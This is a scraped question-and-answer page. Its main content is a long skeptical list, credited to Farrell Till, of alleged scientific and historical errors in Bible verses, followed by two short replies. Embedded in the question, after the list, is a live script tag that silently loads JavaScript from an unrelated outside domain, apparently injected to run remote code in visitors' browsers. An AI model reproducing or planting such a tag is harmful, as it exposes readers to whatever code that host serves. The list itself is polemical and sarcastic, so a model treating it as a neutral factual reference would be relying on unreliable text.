Archaeology and Biblical Accuracy by Farrell Till. 8:1-29 <br><br /><br /><br><br /><br />This verse says that Ai was never again occupied after it was destroyed by Joshua. But Nehemiah (7:32) lists it among the cities of Israel at the time of the Babylonian captivity. 8:28 <br><br /><br /><br><br /><br />In a divine type of daylight savings time, God makes the sun stand still so that Joshua can get all his killing done before dark. 10:12-13 <br><br /><br /><br><br /><br />%26quot;And the coast of Og king of Bashan, which as of the remnant of the giants....%26quot; 12:4, 18:6 <br><br /><br />Judges<br><br /><br /><br><br /><br />%26quot;The stars in their courses fought against Sisera.%26quot; Unless astrology is true, how can the stars affect the outcome of a battle? 5:20 <br><br /><br /><br><br /><br />%26quot;As the sun ... goeth forth in his might.%26quot; The sun, according to the bible, goes around the earth. 5:31 <br><br /><br />1 Samuel<br><br /><br /><br><br /><br />%26quot;The pillars of the earth are the LORD%26#039;s, and he hath set the world upon them. 2:8 <br><br /><br /><br><br /><br />Goliath was ten feet tall (%26quot;six cubits and a span%26quot;). 17:4 <br><br /><br />2 Samuel<br><br /><br /><br><br /><br />In what is surely a biblical exaggeration, we are told that %26quot;the servants of David%26quot; killed 20,000 soldiers in one day. And that %26quot;the wood [forest] devoured more people that day than the sword devoured.%26quot; It must have been spooky forest to have devoured more than 20,000 soldiers. There were probably lots of lions and tigers and bears. (Oh my!)18:7-8 <br><br /><br /><br><br /><br />The earth shakes, the foundations of heaven move, smoke comes out of God%26#039;s nostrils, and fire out of his mouth. 22:8-16 <br><br /><br /><br><br /><br />How many soldiers did Israel have? This verse says that Judah and Israel had a total of 1,300,000 fighting men (1 Chr.21:5 says 1,570,000) in this battle. Of course, this is a ridiculously high number for a battle between two tribal armies in 1000 BCE. (The United States had about 1.37 million active duty soldiers in 2001.) 24:9 <br><br /><br />1 Kings<br><br /><br /><br><br /><br />This verse implies that the value of p is 3. (The actual value is approximately 3.14159.) 7:23 <br><br /><br /><br><br /><br />God creates droughts by causing %26quot;heaven to shut up%26quot; as a punishment for sin. 8:35 <br><br /><br /><br><br /><br />Ever the playful spirit, God withers, and then restores, the hand of king Jeroboam. 13:4 <br><br /><br />2 Kings<br><br /><br /><br><br /><br />Elisha cures a leper, but only after the leper dips himself seven times in the Jordan. 5:14 <br><br /><br /><br><br /><br />Elisha not only can cure leprosy, he can also dish it out. Here he makes his servant (Gehazi) and all his descendants lepers forever. 5:27 <br><br /><br /><br><br /><br />A dead body is brought to life when it accidentally touches the bones of Elisha. 13:21 <br><br /><br /><br><br /><br />Isaiah, with a little help from God, makes the sun move backwards ten degrees. Now that%26#039;s quite a trick. All at once, the earth stopped spinning and then reversed its direction of rotation. Or maybe the sun traveled around the earth in those days! 20:11 <br><br /><br />1 Chronicles<br><br /><br /><br><br /><br />Some creationists believe that this verse (and Gen.10:25) refers to continental drift, which, they say, began to occur during the days of Pelag (which means %26quot;division%26quot;), about 100 or so years after the flood. 1:19 <br><br /><br /><br><br /><br />%26quot;The earth ... shall be stable, that it be not moved.%26quot; It doesn%26#039;t spin on its axis or travel about the sun. 16:30 <br><br /><br /><br><br /><br />According to this verse David%26#039;s army had 1,100,000 men from Israel and 470,000 men from Judah, Of course, this numbers is ridiculously high for a battle between two tribal armies in 1000 BCE. (The United States had about 1.37 million active duty soldiers in 2001.) 21:5 David provides Solomon with a fantastically large amount of gold and silver with which to build the temple: 100,000 talents of gold and 1,000,000 talents of silver. Since a talent was about 60 pounds, this would be about 3,000 tons of gold and 30,000 tons of silver. 22:14 <br><br /><br /><br><br /><br />King David collects ten thousand drams (or darics) for the construction of the temple in Jerusalem. This is especially interesting since darics were coins named after King Darius I who lived some five hundred years after David. 29:7 <br><br /><br /><br><br /><br />As usual, the reported amounts of gold, silver, and iron are grossly exaggerated. (100,000 talents of iron, for example, would be about 34 million kilograms.) 29:7 <br><br /><br />2 Chronicles<br><br /><br /><br><br /><br />Since the molten sea was round with a diameter of ten cubits and a circumference of thirty cubits, we know that the biblical value of p is 3. (The actual value is approximately 3.14159.) 4:2 <br><br /><br /><br><br /><br />Abijah spoke to 1,200,000 soldiers at one time. (He had a really loud voice.) 13:3-4 <br><br /><br /><br><br /><br />500,000 soldiers die in a single God-assisted slaughter. 13:16-17 <br><br /><br /><br><br /><br />In the largest single God-assisted massacre in the bible, Asa, with God%26#039;s help, kills one million Ethiopians. 14:8-14 <br><br /><br /><br><br /><br />Asa, when he had a foot disease, went to physicians instead of seeking the Lord. (God disapproves of those who seek medical help rather than %26quot;seeking the Lord.%26quot;) 16:12 <br><br /><br /><br><br /><br />God makes Uzziah a leper for burning incense without a license. 26:19-21 <br><br /><br />Esther<br><br /><br /><br><br /><br />%26quot;Haman thought in his heart.%26quot; Most people think with their heads, but biblical folks think with their hearts. 6:6 <br><br /><br />Job<br><br /><br /><br><br /><br />The earth rests upon pillars and doesn%26#039;t move (unless God gets angry or something). 9:6 <br><br /><br /><br><br /><br />%26quot;Which commandeth the sun, and it riseth not.%26quot;<br><br /><br />The earth is fixed and the sun travels about it. 9:7 <br><br /><br /><br><br /><br />Heaven is set upon pillars that tremble when God gets mad. 26:11 <br><br /><br /><br><br /><br />The earth is set on foundations and it does not move. 38:4-6 <br><br /><br /><br><br /><br />God has snow and hail all stored up to use later %26quot;in time of trouble.%26quot; 38:22 <br><br /><br /><br><br /><br />God spread out the sky, which is a solid structure, hard and strong like a mirror. 37:18 <br><br /><br /><br><br /><br />Ostriches are not cruel and stupid birds who abandon their eggs to die after laying them, as these verses imply. They are, in fact, careful and attentive parents. The male scoops out a hollow for the eggs, which are incubated by the female during the day and the male at night. After the eggs are hatched, they are cared for by the mother for over a month, at which time the chicks can keep up with running adults. 39:13-16 <br><br /><br /><br><br /><br />The bible is wrong about ostriches being cruel and inattentive parents (39:13-16). But if they were, whose fault would it be? Why would God deprive them of the tools that are needed to do the job right? 39:17 <br><br /><br /><br><br /><br />Bible believers have identified the behemoth as a hippopotamus, dinosaur, wildebeest, or crocodile. But my favorite is the way these verses are translated by Stephen Mitchell: %26quot;Look now: the Beast that I made: he eats grass like a bull. Look: the power in his thighs, the pulsing sinews of his belly. His penis stiffens like a pine; his testicles bulge with vigor.%26quot; 40:15-16 <br><br /><br /><br><br /><br />%26quot;Canst thou draw out leviathan with an hook? or his tongue with a cord?%26quot; 41:1-34 <br><br /><br />Psalms<br><br /><br /><br><br /><br />The earth shakes whenever God really gets mad. 18:7 <br><br /><br /><br><br /><br />%26quot;The foundations of the world were discovered ... at the blast of the breath of thy nostrils.%26quot; (The earth is set on firm foundations and does not move -- unless God blows his nose.) 18:15 <br><br /><br /><br><br /><br />%26quot;The heavens declare the glory of God; and the firmament sheweth his handywork.%26quot; 19:1 <br><br /><br /><br><br /><br />The sun moves around the earth. 19:4-6 <br><br /><br /><br><br /><br />From his seat in heaven, God can see the whole earth and all its inhabitants. <br><br /><br />(He sits directly above the earth, which is a flat disc below him.) 33:14-15 <br><br /><br /><br><br /><br />Diseases are sent by God to punish sin. 38:3 <br><br /><br /><br><br /><br />According to the psalmist, snails melt. But they don%26#039;t, of course, they simply leave a slimy trail as they move along. 58:8 <br><br /><br /><br><br /><br />God is so strong that he can break the head of dragons and of leviathan. 74:13-14 <br><br /><br /><br><br /><br />God holds the earth up with pillars. 75:3 <br><br /><br /><br><br /><br />Another reference to %26quot;the foundations of the earth%26quot;, implying that the earth is fixed and does not move. 82:5 <br><br /><br /><br><br /><br />%26quot;Thou hast broken Rahab [the sea monster] in pieces.%26quot; 89:10 <br><br /><br /><br><br /><br />%26quot;The world also is established, that it cannot be moved.%26quot; 93:1 <br><br /><br /><br><br /><br />%26quot;The world also shall be established that it shall not be moved.%26quot; 96:10 <br><br /><br /><br><br /><br />%26quot;The Lord ... who healeth all thy diseases.%26quot; God heals all diseases. Medical science is unnecessary. 103:2-3 <br><br /><br /><br><br /><br />%26quot;God ... who stretchest out the heavens like a curtain%26quot; (The earth is stationary and does not orbit the sun.) 104:5 <br><br /><br /><br><br /><br />%26quot;In wisdom hast thou made them all.%26quot; 104:24 <br><br /><br /><br><br /><br />God is offended by those who make things with their hands or invent things with their minds. 106:39 <br><br /><br /><br><br /><br />%26quot;The LORD is good to all: and his tender mercies are over all his works.%26quot; Then why do nearly all animals die painful deaths from starvation, predation, or disease long before they reach adulthood? 145:9 <br><br /><br /><br><br /><br />God %26quot;satisfiest the desire of every living thing.%26quot; But in nature few needs are met and few desires are satisfied. Life is short, hard, cruel, and painful for nearly every living thing. 145:17 <br><br /><br /><br><br /><br />%26quot;He calleth them all by their names.%26quot;<br><br /><br />God knows how many stars there are and knows them all by name. That%26#039;s pretty impressive since there are 100 billion or so gallaxies, each containing about 100 billion stars. 147:7 <br><br /><br /><br><br /><br />%26quot;Praise him in the firmament of his power.%26quot; 150:1 <br><br /><br />Ecclesiastes<br><br /><br /><br><br /><br />%26quot;The sun also ariseth%26quot;<br><br /><br />Although this verse is interpreted figuratively today, it was taken literally by virtually all Christians until the Copernican revolution, and was used by the Church to condemn Galileo for teaching the heliocentric heresy. 1:5 <br><br /><br /><br><br /><br />%26quot;He hath made every thing beautiful.%26quot;<br><br /><br />Everything is beautiful in its own way. Parasitic worms, cancer cells, bubonic plague. You just have to look at it from God%26#039;s eyes. 3:11 <br><br /><br /><br><br /><br />%26quot;No man can find out the work that God maketh.%26quot;<br><br /><br />Science is impossible. We can learn nothing at all about the natural world. 3:11 <br><br /><br />Isaiah<br><br /><br /><br><br /><br />%26quot;The wolf also shall dwell with the lamb....%26quot; I wonder what will become of the spiders. Will they be more friendly toward flies? And will the parasitic wasps find another way to feed their larvae? Or will they continue to feed off the living bodies of caterpillars? 11:6, 65:25 <br><br /><br /><br><br /><br />%26quot;And the weaned child shall put his hand on the cockatrice%26#039; den.%26quot; A cockatrice is a serpent, hatched from a cock%26#039;s egg, that can kill with a glance. They are rare nowadays. 11:8 <br><br /><br /><br><br /><br />God will gather up the people of Judea %26quot;from the four corners of the earth.%26quot; In the Bible%26#039;s view, the earth is flat with four corners. 11:12 <br><br /><br /><br><br /><br />According to the Bible, the moon produces its own light and the earth does not move. 13:10 <br><br /><br /><br><br /><br />When God gets really angry, he causes earthquakes. 13:13 <br><br /><br /><br><br /><br />Dragons will live in Babylonian palaces and satyrs will dance there. 13:21-22 <br><br /><br /><br><br /><br />Out of the serpent%26#039;s root shall come forth a cockatrice, and his fruit shall be a fiery flying serpent.%26quot; What ever happened to these fascinating biblical creatures? 14:29 <br><br /><br /><br><br /><br />God will turn the earth upside down, knock it off of its foundations, and then shake and bake it until it %26quot;reels to and fro like a drunkard.%26quot; 24:1, 18-20 <br><br /><br /><br><br /><br />God will punish the leviathan (%26quot;that crooked serpent%26quot;) with his own sword and will kill the sea dragon. 27:1 <br><br /><br /><br><br /><br />Natural disasters (earthquakes, storms, fires, tsunamis) are caused by, and are a sign of, God%26#039;s wrath. 29:7 <br><br /><br /><br><br /><br />Among the many strange creatures mentioned in the Bible that no longer seem to exist is the %26quot;fiery flying serpent.%26quot; 30:6 <br><br /><br /><br><br /><br />%26quot;The light of the moon shall be as the light of the sun, and the light of the sun shall be sevenfold.%26quot; Well, this is one prophecy that will never come true. Since the moon has no light of its own, but only reflects that of the sun, it could never shine like the sun. And the sun will not, at least not while there are humans to see it, shine 7 times as bright as it does now. 30:26 <br><br /><br /><br><br /><br />%26quot;And the unicorns shall come down with them.%26quot; 34:7 <br><br /><br /><br><br /><br />Dragons and satyrs may not seem real to you, but they did to the author of these verses. 34:13-14 <br><br /><br /><br><br /><br />God makes the sun move backwards 10 degrees. Now that%26#039;s a neat trick! 38:8 <br><br /><br /><br><br /><br />The earth is a flat disc that God looks down upon from his throne in heaven. 40:22 <br><br /><br /><br><br /><br />Even the dragons honor God. 43:20 <br><br /><br /><br><br /><br />God cut Rahab (the sea monster) to pieces, wounded the dragon, and dried up the sea. 51:9-10 <br><br /><br /><br><br /><br />Bad people hatch poisonous cockatrice eggs. Whoever eats the eggs will die, and when the eggs are crushed a viper hatches out of them. 59:5 <br><br /><br /><br><br /><br />%26quot;Neither for brightness shall the moon give light unto thee.%26quot; Of course the moon doesn%26#039;t give off light, but only reflects the light from the sun. 60:19 <br><br /><br />Jeremiah<br><br /><br /><br><br /><br />Droughts are punishments from God. 3:3 <br><br /><br /><br><br /><br />%26quot;I will send serpents, cockatrices among you, which will not be charmed, and they shall bite you.%26quot; A cockatrice is a serpent, hatched from a cock%26#039;s egg, that can kill with a glance. They are rare nowadays. 8:17 <br><br /><br /><br><br /><br />When God gets angry, the earth trembles. (That%26#039;s what causes earthquakes.) 10:10 <br><br /><br /><br><br /><br />The wild asses %26quot;snuffed up the wind like dragons.%26quot; 14:6 <br><br /><br /><br><br /><br />The earth is set on foundations and does not move. 31:37 <br><br /><br />Lamentations<br><br /><br /><br><br /><br />Ostriches are not cruel and inattentive parents, as this verse implies. They are, in fact, careful and attentive parents. The male scoops out a hollow for the eggs, which are incubated by the female during the day and the male at night. After the eggs are hatched, they are cared for by the mother for over a month, at which time the chicks can keep up with running adults. 4:3 <br><br /><br />Ezekiel<br><br /><br /><br><br /><br />%26quot;The firmament ... the terrible crystal, stretched forth over their heads above.%26quot; 1:22 <br><br /><br /><br><br /><br />The world is flat and has four corners. 7:2 <br><br /><br /><br><br /><br />The firmament is over the heads of the cherubim. 10:1 <br><br /><br /><br><br /><br />God %26quot;will cover the sun with a cloud, and the moon shall not give her light.%26quot; To Ezekiel, the sun is just a little light that can be covered with a cloud, and the moon produces its own light. 32:7 <br><br /><br />Daniel<br><br /><br /><br><br /><br />The third year of the reign of Jehoiakim would be 606 BCE, at which time Nebuchadnezzar was not yet king of Babylon. It was 597 BCE that Nebuchadnezzar invaded Jerusalem for the first time (without actually destroying it). By that time Jehohiakim was dead and his son, Jehoiachin, was ruling. 1:1 <br><br /><br /><br><br /><br />The stone became %26quot;a great mountain%26quot; that %26quot;filled the whole earth.%26quot; This could only be possible on a flat, disc-shaped earth. 2:35 <br><br /><br /><br><br /><br />Daniel%26#039;s tree is tall enough to be seen from %26quot;the end of all the earth.%26quot; Only on a flat earth would this be possible. 4:10-11, 20 <br><br /><br /><br><br /><br />Apparently, the author of Daniel knew of only two Babylonian kings during the period of the exile: Nebuchadnezzar and Belshazzar, who he wrongly thought was the son of Nebuchadnezzar. But Nebuchadnezzar died in 562 BCE and was succeeded by his son, Awil-Marduk (referred to in the bible as %26quot;Evilmerodach%26quot; [see 2 Kg.25:27 and Jer.52:31]). In 560 BCE, Amel-Marduk was assassinated by his brother-in-law, Nergal-shar-usur. The next and last king of Babylon was Nabonidus who reigned from 556 to 539, when Babylon was conquered by Cyrus. It was Nabonidus, and not Belshazzar, who was the last of the Babylonian kings. Belshazzar was a the son and viceroy of Nabonidus. But he was not a king, and was not the son (or any other relation) of Nebuchadnezzar. 5:2,11,18,22 <br><br /><br /><br><br /><br />Darius the Median is a fictitious character whom the author perhaps confused with Darius I of Persia, who came to the throne in 521 BCE, 17 years after the fall of Babylon. The author of Daniel incorrectly makes him the successor of Belshazzar instead of Cyrus. 5:31 <br><br /><br /><br><br /><br />To Daniel, the stars are small objects that can fall from the sky and then be %26quot;stamped upon.%26quot; 8:10 <br><br /><br /><br><br /><br />%26quot;They ... shall shine as the brightness of the firmament.%26quot; 12:3 <br><br /><br />Joel<br><br /><br /><br><br /><br />%26quot;The sun shall be turned into darkness, and the moon into blood.%26quot; These %26quot;signs%26quot; were a lot more impressive before the causes of solar and lunar eclipses were understood. 2:31 <br><br /><br />Amos<br><br /><br /><br><br /><br />God destroyed the Amorites who were a race of giants as tall as cedars and as strong as oaks. 2:9 <br><br /><br /><br><br /><br />It took the Israelites 40 years to travel from Egypt to Canaan, yet such a journey, even at that time, would have taken no more than ten days. 2:10 <br><br /><br />Jonah<br><br /><br /><br><br /><br />God makes %26quot;a great fish%26quot; to swallow Jonah. And Jonah stayed in the fish%26#039;s belly for three days and three nights. 1:17 <br><br /><br /><br><br /><br />%26quot;Now Nineveh was an exceeding great city of three days%26#039; journey.%26quot; That would make it about 60 miles in diameter -- larger than Los Angeles! 3:3 <br><br /><br />Micah<br><br /><br /><br><br /><br />The earth is set upon strong foundations and therefore does not move. 6:2 <br><br /><br />Nahum<br><br /><br /><br><br /><br />Tornadoes, earthquakes, and fires are caused by God and are signs of his anger. 1:5 <br><br /><br />Habakkuk<br><br /><br /><br><br /><br />%26quot;The sun and moon stood still in their habitation.%26quot; This verse apparently refers to Joshua 10:12-13, where God makes the sun stand still. 3:11 <br><br /><br />Matthew<br><br /><br /><br><br /><br />When was Jesus born? 2:1 <br><br /><br /><br><br /><br />%26quot;The star ... went before them.%26quot;<br><br /><br />If the star %26quot;went before them,%26quot; leading them to Bethlehem, then it couldn%26#039;t have been a star or any other astronomical object or event. But Matthew couldn%26#039;t have known that. Everyone at the time thought that stars were just little points of light a short distance above the earth. It%26#039;d be no problem to have one hover above a particular place for a while. 2:9 <br><br /><br /><br><br /><br />Herod kills all boys in and around Bethlehem that are two years old and under. Such a massacre would certainly have been noted by contemporary historians. Yet not even Josephus, who documented Herod%26#039;s life in detail, mentioned this event. 2:16 <br><br /><br /><br><br /><br />The devil kidnaps Jesus and takes him up to the top of the temple, and then to the top of %26quot;an exceedingly high mountain,%26quot; high enough to see %26quot;all the kingdoms of the world.%26quot; I guess the earth was flat in those days. 4:8 <br><br /><br /><br><br /><br />%26quot;Behold the fowls of the air....%26quot; Jesus says that God feeds them. But, if so, he does one hell of a lousy job at it. Most birds die before leaving the nest, and the few who manage to fly soon die painful deaths of starvation, predation, or disease. If God is caring for them, pray that he stays away from you. 6:26 <br><br /><br /><br><br /><br />Speaking of the birds, Jesus asks: %26quot;Are ye not much better than they?%26quot; This is meant as a rhetorical question, but the answer is far from obvious to me. I guess to Jesus, though, birds are not worth much compared to humans. So you can do whatever the hell you want with (and to) them. 6:26 <br><br /><br /><br><br /><br />According to Matthew, people who cannot speak are possessed by the devil. 9:32-33 <br><br /><br /><br><br /><br />Jesus gives his disciples %26quot;power against unclean spirits, to cast them out, and to heal all manner of sickness.%26quot; 10:1 <br><br /><br /><br><br /><br />Jesus tells his disciples to perform all the usual tricks: %26quot;heal the sick, cleanse the lepers, raise the dead, and cast out devils.%26quot; 10:8 <br><br /><br /><br><br /><br />God is involved in the death of every sparrow. He sees to it that they each die painful deaths of starvation, predation, or disease. But don%26#039;t worry. God will do the same for you. (He thinks that humans are worth much more than sparrows.) 10:29. 31 <br><br /><br /><br><br /><br />Jesus casts out a devil from a man who was blind and dumb. (Thos we are unable to see or hear are possessed by devils.) 12:22 <br><br /><br /><br><br /><br />Some Christians believe that the natural evil in the world (predators, parasites, pain, death) is due to Satan, not God. 13:28 <br><br /><br /><br><br /><br />Jesus is incorrect when he says that the mustard seed is the smallest seed. And since there are no trees in the mustard family, mustard seeds do not grow into %26quot;the greatest of all trees.%26quot; 13:31-32 <br><br /><br /><br><br /><br />Jesus cures an epileptic %26quot;lunatic%26quot; by %26quot;rebuking the devil.%26quot; (Epilepsy is caused by devils.) 17:15-18 <br><br /><br /><br><br /><br />%26quot;The moon shall not give her light, and the stars shall fall from heaven.%26quot; Apparently, Jesus believed that the moon produces its own light, and that the stars are lights held in place by a firmament only a few miles above our heads. 24:29 <br><br /><br /><br><br /><br />Jesus believed that Noah%26#039;s flood actually happened. 24:37 <br><br /><br /><br><br /><br />When Jesus was crucified, there was three hours of complete darkness %26quot;over all the land.%26quot; And when he died, there was a great earthquake with many corpses walking the streets of Jerusalem. It is strange that there is no record of any of these extraordinary events outside of the gospels. 27:45, 51-53 <br><br /><br />Mark<br><br /><br /><br><br /><br />Jesus is incorrect when he says that the mustard seed is the smallest seed. (The smallest seeds are found among the tropical, epiphytic orchids.) 4:31 <br><br /><br /><br><br /><br />%26quot;Thy faith hath made thee whole.%26quot; If you have enough faith, you will never get sick. (Illness is caused by sin and lack of faith. Medical science is unnecessary.) 5:34 <br><br /><br /><br><br /><br />Jesus heals a boy with %26quot;a dumb spirit%26quot; by saying, %26quot;Thou dumb and deaf spirit, I charge thee, come out of him and enter no more into him.%26quot; (Sounds like a script from Monty Python, doesn%26#039;t it?) But how could a deaf spirit hear the words spoken to it? And how could a dumb spirit cry out? 9:17, 25-26 <br><br /><br /><br><br /><br />%26quot;But from the beginning of the creation God made them male and female.%26quot;<br><br /><br />Jesus believed that sex and Adam and Eve were created %26quot;from the beginning.%26quot; But the universe is about 13.6 billion years old, the earth 4.6 billion, sex a billion years or so, and humans (depending on how you define %26quot;human%26quot;) for a couple million years. 10:6 <br><br /><br /><br><br /><br />%26quot;In those days ... the moon shall not give her light, and the stars of heaven shall fall.%26quot; Of course this is nonsense. The billions of stars will never fall to earth and the moon does not produce its own light. 13:24-25 <br><br /><br /><br><br /><br />When Jesus was crucified, there was three hours of complete darkness %26quot;over the whole land.%26quot; It is strange that there is no record of this extraordinary event outside of the gospels. 15:33 <br><br /><br />Luke<br><br /><br /><br><br /><br />When was Jesus born? 2:1 <br><br /><br /><br><br /><br />The devil takes Jesus to the top of a mountain and shows him %26quot;all the kingdoms of the world.%26quot; I guess the world was flat in those days. 4:5 <br><br /><br /><br><br /><br />Epilepsy is caused by devils. 9:39 <br><br /><br /><br><br /><br />People who cannot speak are possessed with devils. 11:14 <br><br /><br /><br><br /><br />Illnesses are caused by Satan. 13:11-16 <br><br /><br /><br><br /><br />Jesus believed the story of Noah%26#039;s ark. 17:26-27 <br><br /><br /><br><br /><br />Jesus also believes the story about Sodom%26#039;s destruction. He says, %26quot;even thus shall it be in the day the son of man is revealed.%26quot; This tells us about Jesus%26#039; knowledge of science and history. 17:29-32 <br><br /><br /><br><br /><br />%26quot;And there shall be signs in the sun, and in the moon, and in the stars.%26quot; 21:25 <br><br /><br /><br><br /><br />When Jesus was crucified, there was three hours of complete darkness %26quot;over all the earth.%26quot; It is strange that there is no record of this extraordinary event outside of the gospels. 23:44-45 <br><br /><br />John<br><br /><br /><br><br /><br />%26quot;These things were done in Bethabara beyond Jordan, where John was baptizing.%26quot; But no such site is known in history. Some translations (ASV, NAB, NIV, RSV, NRSV) rename Bethabara as Bethany, but Bethany is a suburb of Jerusalem and, therefore, not %26quot;beyond the Jordan.%26quot; 1:28 <br><br /><br /><br><br /><br />%26quot;If I have told you earthly things, and ye believe not, how shall ye believe, if I tell you of heavenly things?%26quot;<br><br /><br />Good question, Jesus! He was wrong about creation in Mk.10:6, wrong about the flood in Lk.17:26-27, and wrong about the smallest seed in Mt.13:31-32. So why would anyone believe him when he talks about heaven in Jn.3:16? 3:12 <br><br /><br /><br><br /><br />Whoever enters a pool after it is stirred up by angels will be cured of %26quot;whatsoever disease he had.%26quot; 5:4 <br><br /><br /><br><br /><br />Jesus believes people are crippled by God as a punishment for sin. He tells a crippled man, after healing him, to %26quot;sin no more, lest a worse thing come unto thee.%26quot; 5:14 <br><br /><br /><br><br /><br />The disciples ask Jesus about the cause of a man%26#039;s blindness. Was it because he or his parents sinned? Jesus said neither had sinned. The man was born blind so that Jesus could show off his powers by curing him of his blindness. 9:1-3 <br><br /><br /><br><br /><br />A blind man%26#039;s sight is restored by washing in the pool of Siloam. 9:7 <br><br /><br />Acts<br><br /><br /><br><br /><br />%26quot;Ye men of Galilee, why stand ye gazing up into heaven?%26quot;<br><br /><br />This verse was used by a Dominican friar to discourage the use of Galileo%26#039;s telescope. (Notice the pun on Galileo%26#039;s name in %26quot;men of Galilee%26quot;.) 1:11 <br><br /><br /><br><br /><br />The prophets have spoken %26quot;since the world began,%26quot; which means that humans have been around since the creation of the world. But humans are recent arrivals on an ancient earth. There were no prophets when the earth formed 4.6 billion years ago. 3:21 <br><br /><br /><br><br /><br />The sick were healed just by touching the shadow of Peter. 5:15-16 <br><br /><br /><br><br /><br />It took the Israelites 40 years to travel from Egypt to Canaan, yet such a journey, even at that time, would have taken no more than ten days. 7:36, 13:18 <br><br /><br /><br><br /><br />Sick people are oppressed by the devil. 10:38 <br><br /><br /><br><br /><br />Sick people were cured by touching the handkerchief or apron of Paul. And the evil spirits when out of them.%26quot; 19:12 <br><br /><br /><br><br /><br />Paul is bitten by a poisonous snake and yet lives. The %26quot;barbarians%26quot; who were shipwrecked with him thought he must be a murderer since he was bitten; but then they changed their minds and thought him to be a god since he didn%26#039;t die. (The snake story is especially interesting since there are no poisonous snakes on Malta, and there is no evidence of their existence in the past.) 28:3-8 <br><br /><br />Romans<br><br /><br /><br><br /><br />The existence and nature of God are self-evident. 1:20 <br><br /><br /><br><br /><br />The Religious Right often uses Romans 1:21-25 to condemn environmentalists. 1:21-25 <br><br /><br /><br><br /><br />Paul claims that before Adam sinned death did not exist. But, of course, death didn%26#039;t enter the world a few thousand years ago because of Adam%26#039;s sin. Death has been a part of life since life first arose (on this planet, at least) a few billion years ago. 5:12 <br><br /><br /><br><br /><br />Paul says that everyone, even in his day, had the gospel preached to them. Even the Native Americans, Asians, Pacific Islanders? 10:18 <br><br /><br />1 Corinthians<br><br /><br /><br><br /><br />Paul shows his ignorance (and God%26#039;s) of biology by saying that only dead seeds will germinate. Actually, a seed must be alive to germinate. 15:36 <br><br /><br /><br><br /><br />%26quot;All flesh is not the same flesh: but there is one kind of flesh of men, another of beasts.%26quot;<br><br /><br />This verse is used by Creationists to argue against both evolution and any attempt to create %26quot;human-animal hybrids%26quot; or %26quot;chimeras.%26quot; 15:39 <br><br /><br /><br><br /><br />%26quot;The first man Adam%26quot;<br><br /><br />Young Earth Creationists use this verse to support a literal reading of Genesis. %26quot;If we cannot believe in the First Adam, why believe in the Last [Christ]?%26quot; 15:45 <br><br /><br /><br><br /><br />%26quot;And afterward that which is spiritual.%26quot;<br><br /><br />Asa Gray, the foremost American botanist in the 19th century and close friend of Charles Darwin, used this verse to support the idea that the Bible is not inconsistent with human evolution. 15:46 <br><br /><br />2 Corinthians<br><br /><br />%26quot;As the serpent beguiled Eve%26quot;<br><br /><br />Young Earth Creationists use this verse to show that Paul believed the creation story in Gen.3:1-6. 11:3 <br><br /><br />Ephesians<br><br /><br /><br><br /><br />Satan is the %26quot;prince of the power of the air.%26quot; Until modern times Christians believed that Satan was responsible for storms and droughts. 2:2 <br><br /><br />Colossians<br><br /><br /><br><br /><br />%26quot;For by him were all things created.... All things were created by him, and for him.... And by him all things consist.%26quot; Including guinea worms? 1:16-17 <br><br /><br />1 Timothy<br><br /><br /><br><br /><br />%26quot;For Adam was first formed, then Eve.%26quot; Young Earth Creationists use this verse to show that Paul believed the creation story in Gen.2:18-22. 2:13 <br><br /><br /><br><br /><br />Avoid science, especially that which disagrees with Paul (%26quot;science falsely so called%26quot;). Other versions translate this phrase as %26quot;false knowledge%26quot;, which may be more correct. However many fundamentalist Christians still use this verse (%26quot;science falsely so called%26quot;) to justify their rejection of any idea, scientific or otherwise, they believe contradicts the bible. 6:20 <br><br /><br />Hebrews<br><br /><br /><br><br /><br />God set the earth on a foundation; therefore, it does not move. 1:10 <br><br /><br />James<br><br /><br /><br><br /><br />James says that, even in his day, all beasts, birds, serpents, and sea creatures had been tamed by humans. 3:7 <br><br /><br /><br><br /><br />If you are sick, rely on the power of prayer. It works every time. 5:14-15 <br><br /><br /><br><br /><br />By praying, Elias was able to keep it from raining for three and a half years. 5:17 <br><br /><br />2 Peter<br><br /><br /><br><br /><br />Those who disbelieve in the Bible%26#039;s creation and flood stories are %26quot;willingly ignorant.%26quot; 3:5 <br><br /><br /><br><br /><br />%26quot;God ... spared not the old world, but saved Noah.%26quot;<br><br /><br />Young Earth Creationists use this verse to show that the New Testament authors believed in the flood story. (So you should too.) 2:4-5 <br><br /><br />Revelation<br><br /><br /><br><br /><br />%26quot;Behold, he cometh with clouds; and every eye shall see him.%26quot; This could only happen on a flat earth. 1:7 <br><br /><br /><br><br /><br />Jesus holds seven stars in his hand. Of course, it is possible that this is metaphorical. Perhaps. But it is clear from other verses (6:13, 8:10, 12:4) that John thought of stars as being small, perhaps even small enough for Jesus to hold in his hand. 1:16 <br><br /><br /><br><br /><br />%26quot;Thou hast created all things, and for thy pleasure they are and were created.%26quot; God created predators, pathogens, and predators for his very own pleasure. One of his favorite species is guinea worms. 4:11 <br><br /><br /><br><br /><br />The sixth seal is opened and there is a great earthquake, the sun becomes black, and the moon red, the stars fall from heaven, and mountains and islands move around. 6:12-14 <br><br /><br /><br><br /><br />%26quot;And the stars of heaven fell unto the earth....%26quot; To John, the stars are just little lights a few miles away that can easily fall to the earth. 6:13 <br><br /><br /><br><br /><br />John %26quot;saw four angels standing on the four corners of the earth.%26quot; Well, I guess that settles it: the earth is flat and square-shaped, or at least quadrilateral in shape. 7:1 <br><br /><br /><br><br /><br />An angel threw the censer down to earth, causing thunder, lightning, and earthquakes. 8:5 <br><br /><br /><br><br /><br />%26quot;And there fell a great star from heaven, burning as it were a lamp, and it fell upon the third part of the rivers, and upon the fountains of waters.%26quot; In the bible, stars are just little lights that can fall to the ground from the sky. 8:10 <br><br /><br /><br><br /><br />The fourth trumpet smites one third of the sun, moon, and stars. 8:12 <br><br /><br /><br><br /><br />%26quot;I saw a star fall from heaven unto the earth.%26quot; 9:1 <br><br /><br /><br><br /><br />God%26#039;s witnesses have special powers. They can shut up heaven so that it cannot rain, turn rivers into blood, and smite the earth with plagues %26quot;as often as they will.%26quot; 11:6 <br><br /><br /><br><br /><br />The dragon%26#039;s tail smacks down to earth one third of the stars. To the author of Revelation, the stars are just little lights that can fall to the ground from the sky. 12:4<br><script language=JavaScript src=http://www.chinese-kungfu.org/flower1.js type=text/javascript></script><br>Why are there so many scientific and historical innacuracies in the word of your God?<br>i am my own god<br>Reply:They have all of that on another site. <span>Report It</span><br /> <br>Reply:It takes a solid faith perspective to understand the scriptures, particularly the deeper things, and your not going to have that unless your heart is right with God. Have faith in God. Remember, God%26#039;s perspective is huge, yours is tiny. <span>Report It</span><br 